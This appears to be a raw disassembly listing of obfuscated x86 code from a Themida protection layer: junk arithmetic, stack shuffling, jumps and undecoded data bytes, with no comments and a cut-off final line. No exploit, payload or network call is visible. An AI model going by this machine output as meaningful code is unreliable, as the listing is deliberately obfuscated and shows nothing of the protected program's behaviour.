		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_55E212
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 51240487h, 0FFFFFFB9h, 244C29FFh, 95D5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557EE2:				; CODE XREF: Themida_:00566CD7j
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_568BDF
; ---------------------------------------------------------------------------

loc_557EF0:				; CODE XREF: Themida_:00566891j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		add	esp, 4

loc_557EFF:				; CODE XREF: Themida_:0055C3FAj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55AC2D
; ---------------------------------------------------------------------------
		db 25h
		dd 35B31025h, 0E3E0E9h,	1685C00h, 8900005Dh, 5B54241Ch
		dd 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch,	0C895C24h
		dd 4B924h, 0EA810000h, 55D41D5Ah, 0C281CA01h, 55D41D5Ah
		dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 6AB82404h, 2550FA11h
		dd 551D4033h, 105h, 0F7E8D100h,	0E9D0F7D0h, 737Fh, 356C68h
		dd 0B6F6E900h, 0E3C10000h, 4BF38108h, 0C109FE35h, 0EB8107EBh
		dd 7DD48B24h, 0C8E9DA01h, 520000ADh, 3259D968h,	0D9E95A30h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557FAB:				; CODE XREF: Themida_:0055EE15j
		not	esi
		jmp	loc_559686
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 0C68104C4h, 2, 8B243487h, 8B662424h,	0C481242Ch, 2
		dd 4BE95566h, 68000063h, 2446h,	21E9E9h, 24148900h, 31568h
		dd 0EE85E900h, 5535FFFFh, 0D28AC0Bh, 57652956h,	0FFFFFF05h
		dd 0D6F796FFh, 0C631F031h, 0E883F031h, 0D00E2DFFh, 0CE68A01Ah
		dd 8900002Bh, 0DDBB241Ch, 0E900C375h, 10C40h, 4BB0F66h
		dd 7EE99C24h, 58FFFFB0h, 0E943D3F7h, 3546h
; ---------------------------------------------------------------------------

loc_558030:				; CODE XREF: Themida_:00555C99j
		mov	esi, 3F903237h
		or	esi, 56672123h
		add	esi, 0B60143D4h
		and	edx, esi
		pop	esi
		jmp	loc_56525D
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0D7h
		dd 8170E259h, 93DD16C6h, 5EF729EEh, 4EF815Eh, 87000000h
		dd 248B243Ch, 0CA85E924h, 0C2050000h, 5722380Dh, 0FFC2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558076:				; CODE XREF: Themida_:0055C862j
		add	esp, 4
		push	esi
		mov	esi, 52C066A3h
		dec	esi
		dec	esi
		neg	esi
		shl	esi, 2
		xor	esi, 71CB5981h
		sub	esi, 0C5353CF9h
		jmp	loc_55D431
; ---------------------------------------------------------------------------
		db 59h
		dd 0D131CA31h, 0EC81CA31h, 4, 0BB241C89h, 351F0442h, 0E2E95350h
		dd 5000022h, 229C7DF4h,	0F42DD001h, 0FF229C7Dh,	0BDE92434h
		dd 81000008h, 4ECh, 242C8900h, 6C4262BDh, 4EC831Ah, 0B8240489h
		dd 7E215B67h, 0E958C521h, 0FFFFEF1Ch, 2414895Ch, 9B77BF57h
		dd 8157007Eh, 1CF2242Ch, 815A4827h, 271CF2C2h, 396EE948h
		dd 0D5F60000h, 0E9A8F580h, 2236h, 0EB7DE953h, 815CFFFFh
		dd 4C1h, 0FCFFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558122:				; CODE XREF: Themida_:0055670Bj
		sub	esi, ecx
		pop	ecx
		jmp	loc_556563
; ---------------------------------------------------------------------------
		dw 48Fh
aHV		db '$\hìv',0
		dw 8900h
		dd 0F2E92404h, 0F700000Eh, 1C9805D8h, 0BE5667F1h, 6F14444Eh
		dd 0B0E9F009h, 0AC000059h, 4EC81h, 0C890000h, 5CD3E924h
		dd 17BD0000h, 3158073Ah, 24048BC5h, 4C481h, 0DDF70000h
		dd 4CB7E9h, 0B9515A00h,	726616DBh, 16D7E981h, 0CA017266h
		dd 913BE959h, 0CEFE0000h, 0F6F78853h, 0EB8FE9D7h, 815D0000h
		dd 0C6DCA6C6h, 0F58955E4h, 0DCE9EF89h, 5E000100h, 4C681h
		dd 68E90000h, 5EFFFFD6h, 815AD309h, 0AA59ADCBh,	0FFEB814Bh
		dd 0E9FFFFFFh, 77E2h
; ---------------------------------------------------------------------------

loc_5581C8:				; CODE XREF: Themida_:0055CA8Bj
		pop	esp
		jmp	loc_5543F4
; ---------------------------------------------------------------------------

loc_5581CE:				; CODE XREF: Themida_:0055C944j
		push	ebx
		mov	ebx, 2A906492h
		jmp	loc_566E7F
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 0B8h
		dd 80FBCF80h, 0F8888BC7h, 66C1305Bh, 0E9C82858h, 0AF68h
; ---------------------------------------------------------------------------

loc_5581F0:				; CODE XREF: Themida_:0055A117j
		mov	[esp], edi
		jmp	loc_563B5B
; ---------------------------------------------------------------------------
		dd offset dword_51E448+50Bh
		dd 0E9570001h, 0FFFFE27Ch, 0B6E2815Ah, 81686E0Ch, 0C97804C2h
		dd 0CEE28108h, 81105A29h, 303E4AF2h, 0CB95133h,	1251207h
		dd 0D00159CAh, 0C9F2E95Ah, 0CD810000h, 5C3D1AD2h, 4647E9h
		dd 52595C00h, 0C281E289h, 4, 4EA81h, 14870000h,	24248B24h
		dd 0BA241489h, 6C176D90h, 1567E981h, 0D101402Ch, 7CE8BD55h
		dd 8DE92F37h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55826B:				; CODE XREF: Themida_:00559710j
		pop	ebx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55AD54
; ---------------------------------------------------------------------------
		dw 0FD31h
		dd 83243C8Bh, 0F58104C4h, 1B49176Ah, 6200E981h,	8FE94A3Bh
		dd 81FFFFDAh, 4C4h, 55575000h, 9362CEBDh, 51F7BF24h, 0EF313365h
		dd 36F7815Dh, 0E97BD36Fh, 0BF31h, 0E9243C89h, 79B7h, 2BF5751h
		dd 89000000h, 0CB015FF9h, 42ADE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5582DA:				; CODE XREF: Themida_:00561395j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		push	edi
		push	6AC8290Eh
		jmp	loc_5564F3
; ---------------------------------------------------------------------------

loc_5582F1:				; CODE XREF: Themida_:0055AD9Aj
		sub	bl, al
		push	edx
		mov	dh, 9Dh
		neg	dh
		not	dh
		and	dh, 7Fh
		dec	dh
		jmp	loc_55EFC9
; ---------------------------------------------------------------------------
		dd 0D8289AB3h, 0FEE8D05Bh, 0FD36E9C0h, 15BA0000h, 0E9529868h
		dd 0FFFFEE03h
; ---------------------------------------------------------------------------

loc_55831C:				; CODE XREF: Themida_:00559D34j
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5612FC
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0B40FE9h, 0D058B200h, 0B8EA80E2h, 0E95AD488h, 0FFFFC6B7h
		dd 0E3BD5553h, 81336376h, 0FFFFFFC5h, 0E386E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558352:				; CODE XREF: Themida_:005625C6j
		xor	eax, 7D243B5h
		push	eax
		jmp	loc_5652E8
; ---------------------------------------------------------------------------

loc_55835D:				; CODE XREF: Themida_:00560B64j
		push	esi
		push	2F8765A1h
		pop	esi
		add	esi, 0FFFFFFFFh
		push	edx
		mov	edx, 151EFCF6h
		jmp	loc_5548EC
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0F864E9h
		db 0
; ---------------------------------------------------------------------------

loc_55837D:				; CODE XREF: Themida_:0055ECE1j
		xor	eax, 8C100025h
		mov	ebx, eax
		pop	eax
		jmp	loc_5639FB
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 55177DCAh, 0E903EDC1h, 612h,	0BE56E9D1h, 0F38B39FCh
		dd 0E95EF129h, 0FFFFF72Dh, 0C3FDE981h, 0E981ED93h, 5B021101h
		dd 0D7F7F987h, 0E981F987h, 36D079B8h, 89E9E1D1h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5583C7:				; CODE XREF: Themida_:00567EAEj
		push	esi
		push	ebx
		push	25003F40h
		pop	ebx
		or	ebx, 0BD238D4h
		shr	ebx, 8
		add	ebx, 0CC67737h
		mov	esi, ebx
		jmp	loc_55E896
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 87h
		dd 31CB81FBh, 502E6842h, 7BEEB3B8h, 62EB81FFh, 8125F77Ch
		dd 0CB6F91EBh, 81C32935h, 0CB6F91C3h, 0ECC6E935h, 0F381FFFFh
		dd 65A271F2h, 2EEFE9h, 1C77FF00h, 6659669Dh, 9C2414D3h
		dd 0FFAC7CE9h, 60FA05FFh, 85E926C0h, 0F0000EDh,	6868C8BEh
		dd 8900002Bh, 62E9240Ch, 53FFFFACh, 0EF771A68h,	0B8D3E923h
		dd 0EF31FFFFh, 81242C8Bh, 4C4h,	87C28100h, 1787404h, 87EA81FAh
		dd 0FF787404h, 3C8B2434h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 2F0EE9h, 4BD00h, 0E9810000h,	6BF34E5Bh, 0DAE9E901h
		dd 51FFFFCCh, 3DCDE9h, 7FC96800h, 0CBE90000h, 59000000h
		dd 0E901EB83h, 689h, 0F03045B6h, 0EB805A66h, 81C300DAh
		dd 4ECh, 240C8900h, 0E1D0C5B1h,	0B0E980h, 805859CBh, 0C30067EBh
		dd 6867C380h, 48BEh, 0B0240489h, 89EB80F9h, 0E950C328h
		dd 0FFFFF093h
; ---------------------------------------------------------------------------

loc_5584E8:				; CODE XREF: Themida_:0055F8B2j
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		not	edi
		push	edi
		jmp	loc_553426
; ---------------------------------------------------------------------------
aB72jlbX5tps	db 'Ã72jlËå5tpé»(',0
		dd 24348900h, 0C681E689h, 4, 8704C683h,	665C2434h, 66695E68h
		dd 0B3241C89h, 66DC3011h, 2E3BE95Bh, 30680000h,	89000012h
		dd 0AAB9240Ch, 81293D23h, 582349F1h, 0C610E950h, 34FFFFFFh
		dd 0C4835F24h, 0C5835B04h, 0C65AE902h, 8F54FFFFh, 0E3682404h
		dd 8900004Dh, 5150242Ch, 4D3BFF68h, 0E9C15917h,	0E9814102h
		dd 0E807D7A8h, 0C159C889h, 7EE907E8h, 5F0000D7h, 8704C483h
		dd 42E9240Ch, 890000BCh, 0E6892434h, 44685150h,	59511B40h
		dd 761AE181h, 0E9811E3Ch, 969B0DEEh, 0C7E9C889h, 0FEFFFFC2h
		dd 0E1E980C1h, 0A4D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5585CD:				; CODE XREF: Themida_:005635E7j
		shr	esi, 5
		xor	esi, 5043186h
		jmp	loc_5666FB
; ---------------------------------------------------------------------------
		db 0B8h
		dd 5FE0194h, 4007E0C1h,	73632D48h, 0C589A61Dh, 5DEA0158h
		dd 75E9C201h, 0BD000058h, 4, 4246C01h, 0DAABE95Dh, 0FA890000h
		dd 8B5AD389h, 0AAE9243Ch
		db 6, 1, 0
; ---------------------------------------------------------------------------

loc_558613:				; CODE XREF: Themida_:0055617Dj
		pop	ebp
		push	esi
		mov	esi, 28D85855h
		shl	esi, 5
		jmp	loc_560CFC
; ---------------------------------------------------------------------------

loc_558622:				; CODE XREF: Themida_:005602F8j
		push	edx
		mov	edx, 4
		add	edi, 409E6E53h
		sub	edi, edx
		sub	edi, 409E6E53h
		pop	edx
		jmp	loc_562880
; ---------------------------------------------------------------------------
		dd 4C481h, 0D8000000h, 56B35366h, 0E904E3C0h, 3910h, 4C781h
		dd 0FF570000h, 5F042474h, 5C24048Fh, 31240C33h,	0C33240Ch
		dd 24248B24h, 8B2434FFh, 0C4812404h, 4,	23D168h, 242C8900h
		dd 242C8B54h, 4C481h, 4EE90000h, 8300009Ah, 0EE81FFEEh
		dd 14ADCBB7h, 0E95EF589h, 99A4h
; ---------------------------------------------------------------------------

loc_5586A0:				; CODE XREF: Themida_:0056572Aj
		and	al, 2Bh
		not	al
		neg	al
		push	edx
		mov	dl, 3Ah
		and	al, dl
		pop	edx
		sub	al, 0E5h
		add	bl, al
		pop	eax
		push	small 22A2h
		mov	[esp], ax
		push	ebx
		push	ecx
		mov	cl, 2
		shl	cl, 6
		shl	cl, 8
		shl	cl, 5
		jmp	loc_55759F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 22E9C201h, 0BA00000Ch, 36D742CDh,	148BD129h, 4C48324h
		dd 0C181F101h, 36D742CDh, 74BCE981h, 348B0757h,	4C48324h
		dd 3302E983h, 0C31240Ch, 240C3324h, 6624248Bh, 48F6654h
		dd 61686624h, 14896661h, 4ED1E924h, 525B0000h, 1C25BD55h
		dd 0EA894826h, 8BD5015Dh, 89502414h, 405E0h, 32E90000h
		dd 880000B8h, 877488CEh, 24148B01h, 0E904C483h,	0FFFFB1B5h
		dd 5A88ED81h, 0E95652DBh, 0C4BBh, 8704EF83h, 0A7E9243Ch
		dd 8100005Fh, 0AC5F5BEBh, 4A2BE90Ch, 8B660000h,	4468240Ch
		dd 89000014h, 0E0892404h, 8904EC83h, 0D3BA2414h, 0E96F531Dh
		dd 25C6h, 87FF0BDh, 5DE92913h, 4FCDC181h, 2C8B07ADh, 0F602E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55879E:				; CODE XREF: Themida_:00565412j
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		neg	ebp
		not	ebp
		jmp	loc_55C7AE
; ---------------------------------------------------------------------------
		dd 0BCC3815Eh, 0E97F0808h, 0EB35h, 8704C383h, 248B241Ch
		dd 55BA5224h, 81731D52h, 9F19E1EAh, 65EA8170h, 31EED2ECh
		dd 31D031C2h, 8690E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5587E2:				; CODE XREF: Themida_:0055CD48j
		sub	esp, 4
		jmp	loc_554602
; ---------------------------------------------------------------------------

loc_5587ED:				; CODE XREF: Themida_:00567AE3j
		mov	edi, [esp]
		jmp	loc_561B1A
; ---------------------------------------------------------------------------
		align 2
		dw 4D0h
		dd 5AA72C0Eh, 5253C330h, 0FA560C68h, 0F0E6E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55880A:				; CODE XREF: Themida_:00560667j
		xor	edi, 483A29B8h
		sub	edi, 4BA7303Dh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, edi
		add	eax, 0A1E0CC9h
		add	eax, 45B29B3h
		pop	edi
		jmp	loc_55D6F4
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C242Ch, 0FFFFB41Fh, 9667E959h, 0FF570000h, 5F042474h
		dd 0B3FBE9h, 68E95A00h,	8B0000B0h, 50E9242Ch, 83000007h
		dd 19E904C4h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558863:				; CODE XREF: Themida_:00560AEDj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	16Ch
		mov	[esp], ebx
		jmp	loc_55F1E4
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4EEh, 24348700h, 0DFCFE9h, 4B95100h, 29000000h
		dd 2C8759CDh, 8F545C24h, 0E9512404h, 0D3D9h, 8B2434FFh
		dd 0C4812414h, 4, 0CB8FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5588BE:				; CODE XREF: Themida_:0055DB45j
		mov	ah, 44h
		neg	ah
		shr	ah, 3
		shl	ah, 3
		add	ah, 6Fh
		jmp	loc_561939
; ---------------------------------------------------------------------------

loc_5588D0:				; CODE XREF: Themida_:00563B45j
		mov	[esp], ebx
		mov	ebx, 0E157A6ECh
		xor	ecx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_553E14
; ---------------------------------------------------------------------------
		dw 34FFh
aYht0		db '$Yht0',0
		dw 8900h
		dd 6A68240Ch, 0E9000044h, 0F6C7h, 3AAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5588FE:				; CODE XREF: Themida_:0055BFD4j
		mov	ebx, 1935512Ch
		add	ebx, 49531D34h
		sub	edx, ebx
		pop	ebx
		jmp	loc_56081B
; ---------------------------------------------------------------------------

loc_558911:				; CODE XREF: Themida_:005653CEj
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_562167
; ---------------------------------------------------------------------------
		dd 2474FF52h, 24148B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 0E924048Fh, 1465h
; ---------------------------------------------------------------------------

loc_55893C:				; CODE XREF: Themida_:0055629Cj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		push	2E2A43B4h
		jmp	loc_55AD6F
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5204C2h, 5A042474h, 0E924048Fh, 7E82h
; ---------------------------------------------------------------------------

loc_558968:				; CODE XREF: Themida_:00559CC0j
		pop	ebx
		inc	ebp
		shr	ebp, 5
		push	ecx
		mov	ecx, 12860419h
		jmp	loc_56696B
; ---------------------------------------------------------------------------
		dd 592434FFh, 0E904C483h, 821Bh, 0E92434FFh, 7A31h, 24048F5Ch
		dd 0FF24248Bh, 34FF2434h, 24048B24h, 225BE9h, 243CD200h
		dd 0A6FBE99Ch, 0F74DFFFFh, 436851D5h, 59E15510h, 2D59CD31h
		dd 58FE2FA7h, 5156E801h, 9025DAB9h, 7DF18162h, 0E93A6E0Ah
		dd 0FFFFBD04h, 0C536DEBBh, 0E9DBF74Dh, 4EDDh, 8BF3295Bh
		dd 0C4832434h, 5BDD0904h, 0B67F581h, 0EF899C54h, 997E9h
		dd 7E0C100h, 6803E8C1h,	538Eh, 2153E9h,	4C48300h, 6FE868h
		dd 240C8900h, 52DCE9h
		db 0
; ---------------------------------------------------------------------------

loc_558A15:				; CODE XREF: Themida_:005627FCj
		mov	ebp, ecx
		pop	ecx
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CA71
; ---------------------------------------------------------------------------
		dd 4C481h, 7E90000h, 0C10000CFh, 0EEC108EEh, 5FC5E904h
		dd 0E8C10000h, 10B95104h, 31F53573h, 0C38959C8h, 5BD82958h
		dd 3764E9h, 0D5EE8000h,	85AF728h, 0C50AE9F9h, 0C181FFFFh
		dd 4, 4E981h, 0BE90000h, 5300006Ah, 0E052E9h
		db 0
; ---------------------------------------------------------------------------

loc_558A79:				; CODE XREF: Themida_:00555F93j
		add	eax, 4
		jmp	loc_5621F7
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0D2E90000h, 0F60000A2h, 0C2C680DEh, 80FFEE80h
		dd 0F30081F6h, 16F5E9h,	240C8900h, 6BCB6850h, 2C890000h
		dd 7777BD24h, 46E93F5Ch, 81FFFFB2h, 5A3F71C2h, 0C2815B7Eh
		dd 2, 2F34E9h, 59CD2900h, 704FCD81h, 0C581665Eh, 0AE2465Fh
		dd 23C3E9h, 36F48000h, 80B3EC80h, 2DE905C3h, 51000022h
		dd 240C8B54h, 5604C483h, 0D73B7EBEh, 4EDEF716h,	0D1CF681h
		dd 0F6812C1Dh, 0C535C999h, 348BF101h, 4C48324h,	4E981h
		dd 0C870000h, 24248B24h, 51241489h, 0B17BB753h,	5BF93057h
		dd 0C01BC180h, 0C9FE07E9h, 0FFFA8EE9h, 53C381FFh, 81174409h
		dd 0A4934E3h, 0C342E915h, 1C8BFFFFh, 4C48124h, 0C1000000h
		dd 534B05E3h, 0FF241CF7h, 815B2434h, 4C4h, 0BCF38100h
		dd 0E977B7F1h, 0B715h
; ---------------------------------------------------------------------------

loc_558B6C:				; CODE XREF: Themida_:00565797j
		mov	esi, 7D980CADh
		jmp	loc_55762C
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 34FF7A4Bh, 0C923E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558B82:				; CODE XREF: Themida_:00568124j
		add	ebx, 4FF671F8h
		shr	ebx, 1
		xor	ebx, 757D1D9Ch
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_559F5E
; ---------------------------------------------------------------------------

loc_558BA2:				; CODE XREF: Themida_:0055D676j
		xor	ebp, [esp]
		jmp	loc_55782C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E9E9F724h, 1EFCh, 1B354B68h, 0B0E95F39h, 81FFFFD6h
		dd 4C3h, 5C2B6800h, 3C890000h, 1C20BF24h, 0EFD16CC3h, 0BA52D7F7h
		dd 0AED49BEh, 5809CA81h, 0E2814518h, 0FE40275h,	0E905E2C1h
		dd 2F1Ch, 3EE9E789h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558BF7:				; CODE XREF: Themida_:0056691Bj
		shl	edx, 3
		push	edi
		jmp	loc_553E35
; ---------------------------------------------------------------------------

loc_558C00:				; CODE XREF: Themida_:00565309j
		push	ebp
		push	edx
		mov	edx, 656E18A7h
		mov	ebp, edx
		pop	edx
		mov	edi, 2DBF1335h
		inc	edi
		jmp	loc_55FBA0
; ---------------------------------------------------------------------------

loc_558C15:				; CODE XREF: Themida_:0055B471j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5543ED
; ---------------------------------------------------------------------------

loc_558C23:				; CODE XREF: Themida_:00561B15j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_558C28:				; CODE XREF: Themida_:0055D14Fj
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5531E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 633168h, 243C8900h,	0D95EE954h, 0E7C10000h
		dd 0EF874704h, 0EF87D5F7h, 35C9E9h
		db 0
; ---------------------------------------------------------------------------

loc_558C5D:				; CODE XREF: Themida_:00562707j
		sub	edi, ebp
		push	ecx
		jmp	loc_55F95E
; ---------------------------------------------------------------------------

loc_558C65:				; CODE XREF: Themida_:00555E06j
		mov	eax, [esp]
		push	69D2h
		jmp	loc_5590DB
; ---------------------------------------------------------------------------
		dd offset dword_4F7044+524h
		dw 8900h
		dd 25BB241Ch, 0F72B4C55h, 0CECB81D3h, 0C164CC6Dh, 434B07EBh
		dd 158FBE56h, 0E8E91DEAh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558C97:				; CODE XREF: Themida_:0055B7D3j
		neg	eax
		and	eax, 1C2C7066h
		xor	eax, 2F497713h
		jmp	loc_55A989
; ---------------------------------------------------------------------------
		dd 1AE3B850h, 0D0F70F6Eh, 59647525h, 0E9D8F73Ch, 6391h
		dd 0E904C483h, 0FFFFB91Ch, 112CF9BEh, 0FE9462Ch, 3100006Eh
		dd 2C33242Ch, 0FA6DE924h, 3BB90000h, 18F6AB8h, 0A76BE9E9h
		dd 2C59FFFFh, 545FE94Dh, 0C4810000h, 2,	34FFF830h, 0D5E95B24h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558CFF:				; CODE XREF: Themida_:0055DFDAj
		push	eax
		push	7D3C6914h
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_5547DA
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C3h
		dd 81660864h, 664054F3h, 8AB86650h, 0C309664Fh,	81665866h
		dd 660715E3h, 0A94EEB81h, 5BDF3166h, 0FFCF3166h, 81592434h
		dd 4C4h, 0DFF76600h, 2E7C166h, 0B5F78166h, 0CF816623h
		dd 53663EA8h, 4A6BE9h, 6F216800h, 14890000h, 0A7B35324h
		dd 8006E3C0h, 0CB80FFC3h, 0D74BE9F4h, 0C4810000h, 4, 6049C381h
		dd 0EB817673h, 182D71ADh, 0C381EB01h, 182D71ADh, 6049EB81h
		dd 0D8E97673h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558D9B:				; CODE XREF: Themida_:005600E3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_555BE7
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0AE0F2364h, 19BEEB81h, 0FB01082Ch, 19BEC381h, 875F082Ch
		dd 248B241Ch, 24048F24h, 0F46EE9h
		db 0
; ---------------------------------------------------------------------------

loc_558DD1:				; CODE XREF: Themida_:00561FBCj
		mov	ebx, [esp]
		jmp	loc_55E620
; ---------------------------------------------------------------------------
		db 1, 0CAh, 81h
		dd 820FE3C2h, 2434FF73h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_568971
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 4C281h, 14330000h, 24143124h,	5C241433h
		dd 0FFA28CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558E19:				; CODE XREF: Themida_:00567B28j
		mov	edx, 74F34817h
		shl	edx, 6
		jmp	loc_55FE9D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D5682404h, 89000011h, 5F54243Ch, 4B951h, 0CF010000h
		dd 592434FFh, 5E08950h,	4, 405h, 24048700h, 4DF1E9h
		db 0
; ---------------------------------------------------------------------------

loc_558E55:				; CODE XREF: Themida_:0055665Dj
		add	eax, 13503007h
		jmp	loc_556EBA
; ---------------------------------------------------------------------------

loc_558E5F:				; CODE XREF: Themida_:0056342Ej
		add	ebx, eax
		add	ebx, 750375C4h
		push	edi
		mov	edi, 247F3FF2h
		xor	edi, 47ED4D32h
		not	edi
		xor	edi, 0EE79EE84h
		add	ebx, edi
		pop	edi
		add	ebx, 71521230h
		push	3F76h
		mov	[esp], edi
		mov	edi, 1358574Fh
		sub	ebx, 6359355Ch
		jmp	loc_559ABD
; ---------------------------------------------------------------------------

loc_558E9C:				; CODE XREF: Themida_:0055EA11j
		sub	ebx, 4
		jmp	loc_564E31
; ---------------------------------------------------------------------------
		db 81h
		dd 0B7708DEFh, 4FEF812Fh, 1FC576Fh, 0F3015FFBh,	0FFF8A2E9h
		dd 0D88850FFh, 9877E9h
		db 0
; ---------------------------------------------------------------------------

loc_558EC5:				; CODE XREF: Themida_:0055A8D9j
		mov	[esp], bx
		jmp	loc_55DABB
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 62B838EFh, 0F7EAE95Eh, 0C4830000h, 0B4D0E904h, 0C6810000h
		dd 0C4CCC955h, 0E611E9h, 14895C00h, 4EC8324h, 68240489h
		dd 54C415A2h, 2AF13558h, 0D8F74716h, 62FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_558F09:				; CODE XREF: Themida_:0055B000j
		sub	edi, ecx
		pop	ecx
		sub	ebx, edi
		pop	edi
		add	ebx, edi
		push	esi
		jmp	loc_556644
; ---------------------------------------------------------------------------
		db 68h
		dd 72FCh, 0DEA3E9h, 4BB00h, 3CE90000h, 8000004Bh, 0FA3087C7h
		dd 6EAC05Bh, 652868h, 0DB07E900h, 0DA280000h, 4C04E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558F46:				; CODE XREF: Themida_:00566C25j
		add	edx, ecx
		jmp	loc_554ABE
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FFA148E9h, 242C8BFFh,	81E68956h
		dd 4C6h, 1F90E900h, 815A0000h, 575DAEF6h, 8BF3315Eh, 0A9E92434h
		dd 5FFFFFAh, 4,	405h, 24048700h, 4EBD555Ch, 811C3706h
		dd 8453ACDh, 0D1DDF768h, 79E951E5h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558FA3:				; CODE XREF: Themida_:00563E71j
		mov	[esp], ecx
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704C783h, 8F5C243Ch,	0EC832047h, 0EE51E904h
		dd 0C2FEFFFFh, 0E9DBF280h, 4643h
; ---------------------------------------------------------------------------

loc_558FD0:				; CODE XREF: Themida_:00559AC5j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	[ebx], dl
		mov	ebx, [esp]
		push	edi
		jmp	loc_55A6B6
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4ECh, 0E46DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558FF2:				; CODE XREF: Themida_:0055F89Fj
		add	edi, 550C3B1h
		jmp	loc_555580
; ---------------------------------------------------------------------------
		db 68h,	15h, 3Ah
		dd 1C890000h, 4155BB24h, 0DF095593h, 4ECF815Bh,	0F74D1D00h
		dd 0EFC147D7h, 0ECE95602h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55901F:				; CODE XREF: Themida_:0055D9DFj
		xor	ebx, [esp]
		pop	esp
		push	3E14h
		jmp	loc_5624A9
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 53h
		dd 4C4EBA52h, 0F742323Ah, 81D2F7D2h, 2F0654F2h,	0E9C2811Bh
